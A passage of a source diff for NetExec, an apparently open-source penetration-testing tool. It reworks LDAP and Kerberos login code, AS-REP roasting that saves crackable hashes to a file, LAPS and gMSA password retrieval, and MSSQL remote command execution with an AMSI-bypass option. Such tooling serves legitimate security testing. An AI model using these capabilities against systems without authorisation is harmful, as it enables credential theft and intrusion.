nxc_logger.debug(f"Checking if relation was added: {inserted_id_results}")
return inserted_id_results[0].id
@@ -276,7 +295,7 @@ class database(BaseDB):
q = q.filter(self.LoggedinRelationsTable.c.credid == cred_id)
if host_id:
q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id)
return self.db_execute(q).all()
return self.sess.execute(q).all()
def remove_loggedin_relations(self, cred_id=None, host_id=None):
q = delete(self.LoggedinRelationsTable)
@@ -284,7 +303,7 @@ class database(BaseDB):
q = q.filter(self.LoggedinRelationsTable.c.credid == cred_id)
elif host_id:
q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id)
self.db_execute(q)
self.sess.execute(q)
def add_directory_listing(self, lir_id, data):
pass
+7 -10
View File
@@ -1,12 +1,9 @@
from nxc.helpers.args import DisplayDefaultsNotNone
def proto_args(parser, std_parser, module_parser):
ftp_parser = parser.add_parser("ftp", help="own stuff using FTP", parents=[std_parser, module_parser])
ftp_parser.add_argument("--port", type=int, default=21, help="FTP port (default: 21)")
def proto_args(parser, parents):
ftp_parser = parser.add_parser("ftp", help="own stuff using FTP", parents=parents, formatter_class=DisplayDefaultsNotNone)
ftp_parser.add_argument("--port", type=int, default=21, help="FTP port")
cgroup = ftp_parser.add_argument_group("File Operations", "Options for enumerating and interacting with files on the target")
cgroup.add_argument("--ls", metavar="DIRECTORY", nargs="?", const=".", help="List files in the directory")
cgroup.add_argument("--get", metavar="FILE", help="Download a file")
cgroup.add_argument("--put", metavar=("LOCAL_FILE", "REMOTE_FILE"), nargs=2, help="Upload a file")
cgroup = ftp_parser.add_argument_group("FTP Access", "Options for enumerating your access")
cgroup.add_argument("--ls", metavar="DIRECTORY", nargs="?", const=".", help="List files in the directory, ex: --ls or --ls Directory")
cgroup.add_argument("--get", metavar="FILE", help="Download a file, ex: --get fileName.txt")
cgroup.add_argument("--put", metavar=("LOCAL_FILE", "REMOTE_FILE"), nargs=2, help="Upload a file, ex: --put inputFileName.txt outputFileName.txt")
return parser
+41 -75
View File
@@ -28,7 +28,6 @@ from impacket.krb5.kerberosv5 import getKerberosTGS, SessionKeyDecryptionError
from impacket.krb5.types import Principal, KerberosException
from impacket.ldap import ldap as ldap_impacket
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from impacket.ldap.ldap import LDAPFilterSyntaxError
from impacket.smb import SMB_DIALECT
from impacket.smbconnection import SMBConnection, SessionError
@@ -167,17 +166,17 @@ class ldap(connection):
ldap_url = f"{proto}://{host}"
self.logger.info(f"Connecting to {ldap_url} with no baseDN")
try:
ldap_connection = ldap_impacket.LDAPConnection(ldap_url, dstIp=self.host)
ldap_connection = ldap_impacket.LDAPConnection(ldap_url)
if ldap_connection:
self.logger.debug(f"ldap_connection: {ldap_connection}")
except SysCallError as e:
if proto == "ldaps":
self.logger.fail(f"LDAPs connection to {ldap_url} failed - {e}")
self.logger.debug(f"LDAPs connection to {ldap_url} failed - {e}")
# https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/enable-ldap-over-ssl-3rd-certification-authority
self.logger.fail("Even if the port is open, LDAPS may not be configured")
self.logger.debug("Even if the port is open, LDAPS may not be configured")
else:
self.logger.fail(f"LDAP connection to {ldap_url} failed: {e}")
exit(1)
self.logger.debug(f"LDAP connection to {ldap_url} failed: {e}")
return [None, None, None]
resp = ldap_connection.search(
scope=ldapasn1_impacket.Scope("baseObject"),
@@ -214,7 +213,6 @@ class ldap(connection):
try:
string_binding = rf"ncacn_ip_tcp:{self.host}[135]"
transport = DCERPCTransportFactory(string_binding)
transport.setRemoteHost(self.host)
transport.set_connect_timeout(5)
dce = transport.get_dce_rpc()
if self.args.kerberos:
@@ -254,7 +252,6 @@ class ldap(connection):
def enum_host_info(self):
self.target, self.targetDomain, self.baseDN = self.get_ldap_info(self.host)
self.hostname = self.target
self.remoteName = self.target
self.domain = self.targetDomain
# smb no open, specify the domain
if not self.args.no_smb:
@@ -281,30 +278,22 @@ class ldap(connection):
self.domain = self.args.domain
if self.args.local_auth:
self.domain = self.hostname
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
try: # noqa: SIM105
# DC's seem to want us to logoff first, windows workstations sometimes reset the connection
self.conn.logoff()
except Exception:
pass
# Re-connect since we logged off
self.create_conn_obj()
if not self.kdcHost and self.domain:
result = self.resolver(self.domain)
self.kdcHost = result["host"] if result else None
self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}".replace(":", "-"))
def print_host_info(self):
self.logger.debug("Printing host info for LDAP")
if self.args.no_smb:
self.logger.extra["protocol"] = "LDAP" if self.port == 389 else "LDAPS"
self.logger.extra["port"] = self.port
self.logger.display(f'{self.baseDN} (Hostname: {self.hostname.split(".")[0]}) (domain: {self.domain})')
self.logger.extra["protocol"] = "LDAP"
self.logger.extra["port"] = "389"
self.logger.display(f"Connecting to LDAP {self.hostname}")
else:
self.logger.extra["protocol"] = "SMB" if not self.no_ntlm else "LDAP"
self.logger.extra["port"] = "445" if not self.no_ntlm else "389"
@@ -341,7 +330,7 @@ class ldap(connection):
if hash_tgt:
self.logger.highlight(f"{hash_tgt}")
with open(self.args.asreproast, "a+") as hash_asreproast:
hash_asreproast.write(f"{hash_tgt}\n")
hash_asreproast.write(hash_tgt + "\n")
return False
kerb_pass = next(s for s in [self.nthash, password, aesKey] if s) if not all(s == "" for s in [self.nthash, password, aesKey]) else ""
@@ -352,9 +341,10 @@ class ldap(connection):
self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap"
ldap_url = f"{proto}://{self.target}"
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [1]")
self.ldapConnection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host)
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} [1]")
self.ldapConnection = ldap_impacket.LDAPConnection(ldap_url, self.baseDN)
self.ldapConnection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
if self.username == "":
self.username = self.get_ldap_username()
@@ -397,9 +387,10 @@ class ldap(connection):
self.logger.extra["protocol"] = "LDAPS"
self.logger.extra["port"] = "636"
ldaps_url = f"ldaps://{self.target}"
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [2]")
self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} [2]")
self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
self.ldapConnection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
if self.username == "":
self.username = self.get_ldap_username()
@@ -445,7 +436,7 @@ class ldap(connection):
if hash_tgt:
self.logger.highlight(f"{hash_tgt}")
with open(self.args.asreproast, "a+") as hash_asreproast:
hash_asreproast.write(f"{hash_tgt}\n")
hash_asreproast.write(hash_tgt + "\n")
return False
try:
@@ -454,8 +445,8 @@ class ldap(connection):
self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap"
ldap_url = f"{proto}://{self.target}"
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [3]")
self.ldapConnection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host)
self.logger.debug(f"Connecting to {ldap_url} - {self.baseDN} [3]")
self.ldapConnection = ldap_impacket.LDAPConnection(ldap_url, self.baseDN)
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.check_if_admin()
@@ -475,8 +466,8 @@ class ldap(connection):
self.logger.extra["protocol"] = "LDAPS"
self.logger.extra["port"] = "636"
ldaps_url = f"ldaps://{self.target}"
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [4]")
self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} [4]")
self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.check_if_admin()
@@ -534,7 +525,7 @@ class ldap(connection):
if hash_tgt:
self.logger.highlight(f"{hash_tgt}")
with open(self.args.asreproast, "a+") as hash_asreproast:
hash_asreproast.write(f"{hash_tgt}\n")
hash_asreproast.write(hash_tgt + "\n")
return False
try:
@@ -543,8 +534,8 @@ class ldap(connection):
self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap"
ldaps_url = f"{proto}://{self.target}"
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}")
self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN}")
self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.check_if_admin()
@@ -564,9 +555,15 @@ class ldap(connection):
self.logger.extra["protocol"] = "LDAPS"
self.logger.extra["port"] = "636"
ldaps_url = f"{proto}://{self.target}"
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}")
self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.logger.debug(f"Connecting to {ldaps_url} - {self.baseDN}")
self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
self.ldapConnection.login(
self.username,
self.password,
self.domain,
self.lmhash,
self.nthash,
)
self.check_if_admin()
# Prepare success credential text
@@ -752,7 +749,7 @@ class ldap(connection):
users = parse_result_attributes(resp)
# we print the total records after we parse the results since often SearchResultReferences are returned
self.logger.display(f"Enumerated {len(users):d} domain users: {self.domain}")
self.logger.display(f"Total records returned: {len(users):d}")
self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}")
for user in users:
# TODO: functionize this - we do this calculation in a bunch of places, different, including in the `pso` module
@@ -896,7 +893,7 @@ class ldap(connection):
"lastLogon",
]
resp = self.search(search_filter, attributes, 0)
if resp is None:
if resp == []:
self.logger.highlight("No entries found!")
elif resp:
answers = []
@@ -940,10 +937,10 @@ class ldap(connection):
if len(answers) > 0:
for user in answers:
hash_TGT = KerberosAttacks(self).get_tgt_asroast(user[0])
if hash_TGT:
self.logger.highlight(f"{hash_TGT}")
with open(self.args.asreproast, "a+") as hash_asreproast:
hash_asreproast.write(f"{hash_TGT}\n")
hash_TGT = KerberosAttacks(self).get_tgt_asroast(user[0])
self.logger.highlight(f"{hash_TGT}")
with open(self.args.asreproast, "a+") as hash_asreproast:
hash_asreproast.write(hash_TGT + "\n")
return True
else:
self.logger.highlight("No entries found!")
@@ -1055,36 +1052,6 @@ class ldap(connection):
self.logger.highlight("No entries found!")
self.logger.fail("Error with the LDAP account used")
def query(self):
"""
Query the LDAP server with the specified filter and attributes.
Example usage:
--query "(sAMAccountName=Administrator)" "sAMAccountName pwdLastSet memberOf"
"""
search_filter = self.args.query[0]
attributes = [attr.strip() for attr in self.args.query[1].split(" ")]
if len(attributes) == 1 and attributes[0] == "":
attributes = None
if not search_filter:
self.logger.fail("No filter specified")
return
self.logger.debug(f"Querying LDAP server with filter: {search_filter} and attributes: {attributes}")
try:
resp = self.search(search_filter, attributes, 0)
except LDAPFilterSyntaxError as e:
self.logger.fail(f"LDAP Filter Syntax Error: {e}")
return
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
self.logger.success(f"Response for object: {item['objectName']}")
for attribute in item["attributes"]:
attr = f"{attribute['type']}:"
vals = str(attribute["vals"]).replace("\n", "")
if "SetOf: " in vals:
vals = vals.replace("SetOf: ", "")
self.logger.highlight(f"{attr:<20} {vals}")
def trusted_for_delegation(self):
# Building the search filter
searchFilter = "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
@@ -1402,9 +1369,9 @@ class ldap(connection):
ad = AD(
auth=auth,
domain=self.domain,
nameserver=self.args.dns_server,
dns_tcp=self.args.dns_tcp,
dns_timeout=self.args.dns_timeout,
nameserver=self.args.nameserver,
dns_tcp=False,
dns_timeout=3,
)
collect = resolve_collection_methods("Default" if not self.args.collection else self.args.collection)
if not collect:
@@ -1419,7 +1386,6 @@ class ldap(connection):
auth.get_tgt()
if self.args.use_kcache:
self.logger.highlight("Using kerberos auth from ccache")
auth.load_ccache()
timestamp = datetime.now().strftime("%Y-%m-%d_%H%M%S") + "_"
bloodhound = BloodHound(ad, self.hostname, self.host, self.port)
+30 -7
View File
@@ -1,20 +1,30 @@
import sys
from sqlalchemy import Table
from pathlib import Path
from sqlalchemy.orm import sessionmaker, scoped_session
from sqlalchemy import MetaData, Table
from sqlalchemy.exc import (
# IllegalStateChangeError,
NoInspectionAvailable,
NoSuchTableError,
)
from nxc.database import BaseDB
from nxc.logger import nxc_logger
import sys
class database(BaseDB):
class database:
def __init__(self, db_engine):
self.CredentialsTable = None
self.HostsTable = None
super().__init__(db_engine)
self.db_engine = db_engine
self.db_path = self.db_engine.url.database
self.protocol = Path(self.db_path).stem.upper()
self.metadata = MetaData()
self.reflect_tables()
session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True)
Session = scoped_session(session_factory)
# this is still named "conn" when it is the session object; TODO: rename
self.conn = Session()
@staticmethod
def db_schema(db_conn):
@@ -49,3 +59,16 @@ class database(BaseDB):
[-] Then remove the nxc {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
)
sys.exit()
def shutdown_db(self):
try:
self.conn.close()
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
except Exception as e:
nxc_logger.debug(f"Error while closing session db object: {e}")
def clear_database(self):
for table in self.metadata.sorted_tables:
self.conn.execute(table.delete())
+13 -15
View File
@@ -1,18 +1,18 @@
import random
from binascii import hexlify, unhexlify
from datetime import datetime, timedelta
import traceback
try:
# This is only available in python >= 3.11
# if we are in a lower version, we will use the deprecated utcnow() method
from datetime import UTC
utc_failed = False
except ImportError:
utc_failed = True
from os import getenv
from impacket.krb5 import constants
from impacket.krb5.asn1 import TGS_REP, AS_REQ, AS_REP, KERB_PA_PAC_REQUEST, KRB_ERROR, seq_set, seq_set_iter
from impacket.krb5.asn1 import (
TGS_REP,
AS_REQ,
KERB_PA_PAC_REQUEST,
KRB_ERROR,
AS_REP,
seq_set,
seq_set_iter,
)
from impacket.krb5.ccache import CCache
from impacket.krb5.kerberosv5 import sendReceive, KerberosError, getKerberosTGT
from impacket.krb5.types import KerberosTime, Principal
@@ -211,8 +211,7 @@ class KerberosAttacks:
return None
req_body["realm"] = domain
# When we drop python 3.10 support utcnow() can be removed, as it is deprecated
now = datetime.utcnow() + timedelta(days=1) if utc_failed else datetime.now(UTC) + timedelta(days=1)
now = datetime.utcnow() + timedelta(days=1)
req_body["till"] = KerberosTime.to_asn1(now)
req_body["rtime"] = KerberosTime.to_asn1(now)
req_body["nonce"] = random.getrandbits(31)
@@ -236,11 +235,10 @@ class KerberosAttacks:
message = encoder.encode(as_req)
r = sendReceive(message, domain, self.kdcHost)
elif e.getErrorCode() == constants.ErrorCodes.KDC_ERR_KEY_EXPIRED.value:
return f"Password of user {userName} expired but user doesn't require pre-auth"
return "Password of user " + userName + " expired but user doesn't require pre-auth"
else:
nxc_logger.fail(e)
nxc_logger.debug(traceback.format_exc())
return None
nxc_logger.debug(e)
return False
# This should be the PREAUTH_FAILED packet or the actual TGT if the target principal has the
# 'Do not require Kerberos preauthentication' set
+33 -29
View File
@@ -1,3 +1,5 @@
import binascii
import hashlib
from json import loads
from pyasn1.codec.der import decoder
from pyasn1_modules import rfc5652
@@ -35,13 +37,12 @@ class LDAPConnect:
def proto_logger(self, host, port, hostname):
self.logger = NXCAdapter(extra={"protocol": "LDAP", "host": host, "port": port, "hostname": hostname})
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False, dns_server=""):
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
lmhash = ""
nthash = ""
if kdcHost is None or domain not in kdcHost:
self.logger.fail("Please provide the FQDN of the domain controller with --kdcHost")
exit(1)
if kdcHost is None:
kdcHost = domain
# This checks to see if we didn't provide the LM Hash
if ntlm_hash and ntlm_hash.find(":") != -1:
@@ -53,13 +54,12 @@ class LDAPConnect:
baseDN = ""
domainParts = domain.split(".")
for i in domainParts:
baseDN += f"DC={i},"
baseDN += f"dc={i},"
# Remove last ','
baseDN = baseDN[:-1]
try:
self.logger.info(f"Connecting to ldap://{kdcHost} - {baseDN} - {domain} [1]")
ldap_connection = ldap_impacket.LDAPConnection(f"ldap://{kdcHost}", baseDN, dns_server if dns_server else domain)
ldap_connection = ldap_impacket.LDAPConnection(f"ldap://{kdcHost}", baseDN)
ldap_connection.kerberosLogin(
username,
password,
@@ -78,7 +78,7 @@ class LDAPConnect:
if str(e).find("strongerAuthRequired") >= 0:
# We need to try SSL
try:
ldap_connection = ldap_impacket.LDAPConnection(f"ldaps://{kdcHost}", baseDN, dns_server if dns_server else domain)
ldap_connection = ldap_impacket.LDAPConnection(f"ldaps://{kdcHost}", baseDN)
ldap_connection.login(
username,
password,
@@ -105,14 +105,18 @@ class LDAPConnect:
color="magenta" if error_code in ldap_error_status else "red",
)
return False
except OSError:
self.logger.debug(f"{domain}\\{username}:{password if password else ntlm_hash} {'Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller'}")
return False
except KerberosError as e:
self.logger.fail(f"{domain}\\{username}:{password if password else ntlm_hash} {e!s}", color="red")
self.logger.fail(
f"{domain}\\{username}:{password if password else ntlm_hash} {e!s}",
color="red",
)
return False
def auth_login(self, domain, username, password, ntlm_hash, dns_server):
def auth_login(self, domain, username, password, ntlm_hash):
lmhash = ""
nthash = ""
@@ -131,7 +135,7 @@ class LDAPConnect:
base_dn = base_dn[:-1]
try:
ldap_connection = ldap_impacket.LDAPConnection(f"ldap://{domain}", base_dn, dns_server if dns_server else domain)
ldap_connection = ldap_impacket.LDAPConnection(f"ldap://{domain}", base_dn, domain)
ldap_connection.login(username, password, domain, lmhash, nthash)
# Connect to LDAP
@@ -144,7 +148,7 @@ class LDAPConnect:
if str(e).find("strongerAuthRequired") >= 0:
# We need to try SSL
try:
ldap_connection = ldap_impacket.LDAPConnection(f"ldaps://{domain}", base_dn, dns_server if dns_server else domain)
ldap_connection = ldap_impacket.LDAPConnection(f"ldaps://{domain}", base_dn, domain)
ldap_connection.login(username, password, domain, lmhash, nthash)
self.logger.extra["protocol"] = "LDAPS"
self.logger.extra["port"] = "636"
@@ -169,7 +173,7 @@ class LDAPConnect:
class LAPSv2Extract:
def __init__(self, data, username, password, domain, ntlm_hash, do_kerberos, kdcHost, port, dns_server):
def __init__(self, data, username, password, domain, ntlm_hash, do_kerberos, kdcHost, port):
if ntlm_hash.find(":") != -1:
self.lmhash, self.nthash = ntlm_hash.split(":")
else:
@@ -183,7 +187,6 @@ class LAPSv2Extract:
self.do_kerberos = do_kerberos
self.kdcHost = kdcHost
self.logger = None
self.dns_server = dns_server
self.proto_logger(self.domain, port, self.domain)
def proto_logger(self, host, port, hostname):
@@ -215,7 +218,7 @@ class LAPSv2Extract:
gke = kds_cache[key_id["RootKeyId"]]
else:
# Connect on RPC over TCP to MS-GKDI to call opnum 0 GetKey
string_binding = hept_map(destHost=self.domain if not self.dns_server else self.dns_server, remoteIf=MSRPC_UUID_GKDI, protocol="ncacn_ip_tcp")
string_binding = hept_map(destHost=self.domain, remoteIf=MSRPC_UUID_GKDI, protocol="ncacn_ip_tcp")
rpc_transport = transport.DCERPCTransportFactory(string_binding)
if hasattr(rpc_transport, "set_credentials"):
rpc_transport.set_credentials(username=self.username, password=self.password, domain=self.domain, lmhash=self.lmhash, nthash=self.nthash)
@@ -260,7 +263,7 @@ class LAPSv2Extract:
return plaintext[:-18].decode("utf-16le")
def laps_search(self, username, password, cred_type, domain, dns_server):
def laps_search(self, username, password, cred_type, domain):
prev_protocol = self.logger.extra["protocol"]
prev_port = self.logger.extra["port"]
self.logger.extra["protocol"] = "LDAP"
@@ -271,7 +274,7 @@ def laps_search(self, username, password, cred_type, domain, dns_server):
if self.kerberos:
if self.kdcHost is None:
self.logger.fail("Add --kdcHost parameter to use laps with kerberos")
return None, None, None
return None, None, None, None
connection = ldapco.kerberos_login(
domain[0],
@@ -280,7 +283,6 @@ def laps_search(self, username, password, cred_type, domain, dns_server):
password[0] if cred_type[0] == "hash" else "",
kdcHost=self.kdcHost,
aesKey=self.aesKey,
dns_server=dns_server
)
else:
connection = ldapco.auth_login(
@@ -288,12 +290,11 @@ def laps_search(self, username, password, cred_type, domain, dns_server):
username[0] if username else "",
password[0] if cred_type[0] == "plaintext" else "",
password[0] if cred_type[0] == "hash" else "",
dns_server
)
if not connection:
self.logger.fail(f"LDAP connection failed with account {username[0]}")
return None, None, None
return None, None, None, None
search_filter = "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))(name=" + self.hostname + "))"
attributes = [
@@ -322,16 +323,15 @@ def laps_search(self, username, password, cred_type, domain, dns_server):
password[0] if cred_type[0] == "plaintext" else "",
domain[0],
password[0] if cred_type[0] == "hash" else "",
self.kerberos,
self.kdcHost,
339,
dns_server
self.args.kerberos,
self.args.kdcHost,
339
)
try:
data = d.run()
except Exception as e:
self.logger.fail(str(e))
return None, None, None
return None, None, None, None
r = loads(data)
msMCSAdmPwd = r["p"]
username_laps = r["n"]
@@ -346,17 +346,21 @@ def laps_search(self, username, password, cred_type, domain, dns_server):
self.logger.debug(f"Host: {sAMAccountName:<20} Password: {msMCSAdmPwd} {self.hostname}")
else:
self.logger.fail(f"msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {self.hostname}")
return None, None, None
return None, None, None, None
if msMCSAdmPwd == "":
self.logger.fail(f"msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {self.hostname}")
return None, None, None
return None, None, None, None
hash_ntlm = None
if cred_type[0] == "hash":
hash_ntlm = hashlib.new("md4", msMCSAdmPwd.encode("utf-16le")).digest()
hash_ntlm = binascii.hexlify(hash_ntlm).decode()
username = username_laps if username_laps else self.args.laps
password = msMCSAdmPwd
domain = self.hostname
self.args.local_auth = True
self.kerberos = False
self.logger.extra["protocol"] = prev_protocol
self.logger.extra["port"] = prev_port
return username, password, domain
return username, password, domain, hash_ntlm
+22 -10
View File
@@ -1,22 +1,18 @@
from nxc.helpers.args import DisplayDefaultsNotNone
def proto_args(parser, parents):
ldap_parser = parser.add_parser("ldap", help="own stuff using LDAP", parents=parents, formatter_class=DisplayDefaultsNotNone)
def proto_args(parser, std_parser, module_parser):
ldap_parser = parser.add_parser("ldap", help="own stuff using LDAP", parents=[std_parser, module_parser])
ldap_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
ldap_parser.add_argument("--port", type=int, default=389, help="LDAP port")
ldap_parser.add_argument("--port", type=int, choices={389, 636}, default=389, help="LDAP port (default: 389)")
ldap_parser.add_argument("--no-smb", action="store_true", help="No smb connection")
dgroup = ldap_parser.add_mutually_exclusive_group()
dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, default=None, help="domain to authenticate to")
dgroup.add_argument("--local-auth", action="store_true", help="authenticate locally to each target")
egroup = ldap_parser.add_argument_group("Retrieve hash on the remote DC", "Options to get hashes from Kerberos")
egroup = ldap_parser.add_argument_group("Retrevie hash on the remote DC", "Options to get hashes from Kerberos")
egroup.add_argument("--asreproast", help="Output AS_REP response to crack with hashcat to file")
egroup.add_argument("--kerberoasting", help="Output TGS ticket to crack with hashcat to file")
vgroup = ldap_parser.add_argument_group("Retrieve useful information on the domain", "Options to to play with Kerberos")
vgroup.add_argument("--query", nargs=2, help="Query LDAP with a custom filter and attributes")
vgroup.add_argument("--trusted-for-delegation", action="store_true", help="Get the list of users and computers with flag TRUSTED_FOR_DELEGATION")
vgroup.add_argument("--password-not-required", action="store_true", help="Get the list of users with flag PASSWD_NOTREQD")
vgroup.add_argument("--admin-count", action="store_true", help="Get objets that had the value adminCount=1")
@@ -26,13 +22,29 @@ def proto_args(parser, parents):
vgroup.add_argument("--get-sid", action="store_true", help="Get domain sid")
vgroup.add_argument("--active-users", nargs="*", help="Get Active Domain Users Accounts")
ggroup = ldap_parser.add_argument_group("Retrieve gmsa on the remote DC", "Options to play with gmsa")
ggroup = ldap_parser.add_argument_group("Retrevie gmsa on the remote DC", "Options to play with gmsa")
ggroup.add_argument("--gmsa", action="store_true", help="Enumerate GMSA passwords")
ggroup.add_argument("--gmsa-convert-id", help="Get the secret name of specific gmsa or all gmsa if no gmsa provided")
ggroup.add_argument("--gmsa-decrypt-lsa", help="Decrypt the gmsa encrypted value from LSA")
bgroup = ldap_parser.add_argument_group("Bloodhound Scan", "Options to play with Bloodhoud")
bgroup.add_argument("--bloodhound", action="store_true", help="Perform a Bloodhound scan")
bgroup.add_argument("-c", "--collection", default="Default", help="Which information to collect. Supported: Group, LocalAdmin, Session, Trusts, Default, DCOnly, DCOM, RDP, PSRemote, LoggedOn, Container, ObjectProps, ACL, All. You can specify more than one by separating them with a comma")
bgroup.add_argument("-ns", "--nameserver", help="Custom DNS IP")
bgroup.add_argument("-c", "--collection", help="Which information to collect. Supported: Group, LocalAdmin, Session, Trusts, Default, DCOnly, DCOM, RDP, PSRemote, LoggedOn, Container, ObjectProps, ACL, All. You can specify more than one by separating them with a comma. (default: Default)'")
return parser
def get_conditional_action(baseAction):
class ConditionalAction(baseAction):
def __init__(self, option_strings, dest, **kwargs):
x = kwargs.pop("make_required", [])
super().__init__(option_strings, dest, **kwargs)
self.make_required = x
def __call__(self, parser, namespace, values, option_string=None):
for x in self.make_required:
x.required = True
super().__call__(parser, namespace, values, option_string)
return ConditionalAction
+33 -50
View File
@@ -2,7 +2,6 @@ import os
import random
import socket
import contextlib
from io import StringIO
from nxc.config import process_secret
from nxc.connection import connection
@@ -54,7 +53,7 @@ class mssql(connection):
def create_conn_obj(self):
try:
self.conn = tds.MSSQL(self.host, self.port, self.remoteName)
self.conn = tds.MSSQL(self.host, self.port)
# Default has not timeout option in tds.MSSQL.connect() function, let rewrite it.
af, socktype, proto, canonname, sa = socket.getaddrinfo(self.host, self.port, 0, socket.SOCK_STREAM)[0]
sock = socket.socket(af, socktype, proto)
@@ -74,6 +73,9 @@ class mssql(connection):
def wrapper(self, *args, **kwargs):
with contextlib.suppress(Exception):
self.conn.disconnect()
# When using ccache file, we must need to set target host to hostname when creating connection object.
if self.kerberos:
self.host = self.hostname
self.create_conn_obj()
return func(self, *args, **kwargs)
return wrapper
@@ -132,13 +134,6 @@ class mssql(connection):
if self.args.local_auth:
self.domain = self.hostname
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
if not self.kdcHost and self.domain:
result = self.resolver(self.domain)
self.kdcHost = result["host"] if result else None
self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
def print_host_info(self):
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.targetDomain})")
return True
@@ -175,6 +170,7 @@ class mssql(connection):
self.username = username
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
try:
res = self.conn.kerberosLogin(
None,
@@ -301,55 +297,42 @@ class mssql(connection):
@requires_admin
def execute(self, payload=None, get_output=False):
payload = self.args.execute if not payload and self.args.execute else payload
if not payload:
self.logger.error("No command to execute specified!")
return None
get_output = True if not self.args.no_output else get_output
self.logger.debug(f"{get_output=}")
if not payload and self.args.execute:
payload = self.args.execute
if not self.args.no_output:
get_output = True
self.logger.info(f"Command to execute: {payload}")
try:
exec_method = MSSQLEXEC(self.conn, self.logger)
output = exec_method.execute(payload)
self.logger.debug(f"Output: {output}")
raw_output = exec_method.execute(payload, get_output)
except Exception as e:
self.logger.fail(f"Execute command failed, error: {e!s}")
return False
else:
self.logger.success("Executed command via mssqlexec")
if output:
output_lines = StringIO(output).readlines()
for line in output_lines:
self.logger.highlight(line.strip())
return output
self.logger.success("Executed command via mssqlexec")
if raw_output:
for line in raw_output:
self.logger.highlight(line)
return raw_output
@requires_admin
def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=False, obfs=False, encode=False):
payload = self.args.ps_execute if not payload and self.args.ps_execute else payload
if not payload:
self.logger.error("No command to execute specified!")
return None
response = []
obfs = obfs if obfs else self.args.obfs
encode = encode if encode else not self.args.no_encode
force_ps32 = force_ps32 if force_ps32 else self.args.force_ps32
get_output = True if not self.args.no_output else get_output
self.logger.debug(f"Starting PS execute: {payload=} {get_output=} {methods=} {force_ps32=} {obfs=} {encode=}")
amsi_bypass = self.args.amsi_bypass[0] if self.args.amsi_bypass else None
self.logger.debug(f"AMSI Bypass: {amsi_bypass}")
if os.path.isfile(payload):
self.logger.debug(f"File payload set: {payload}")
with open(payload) as commands:
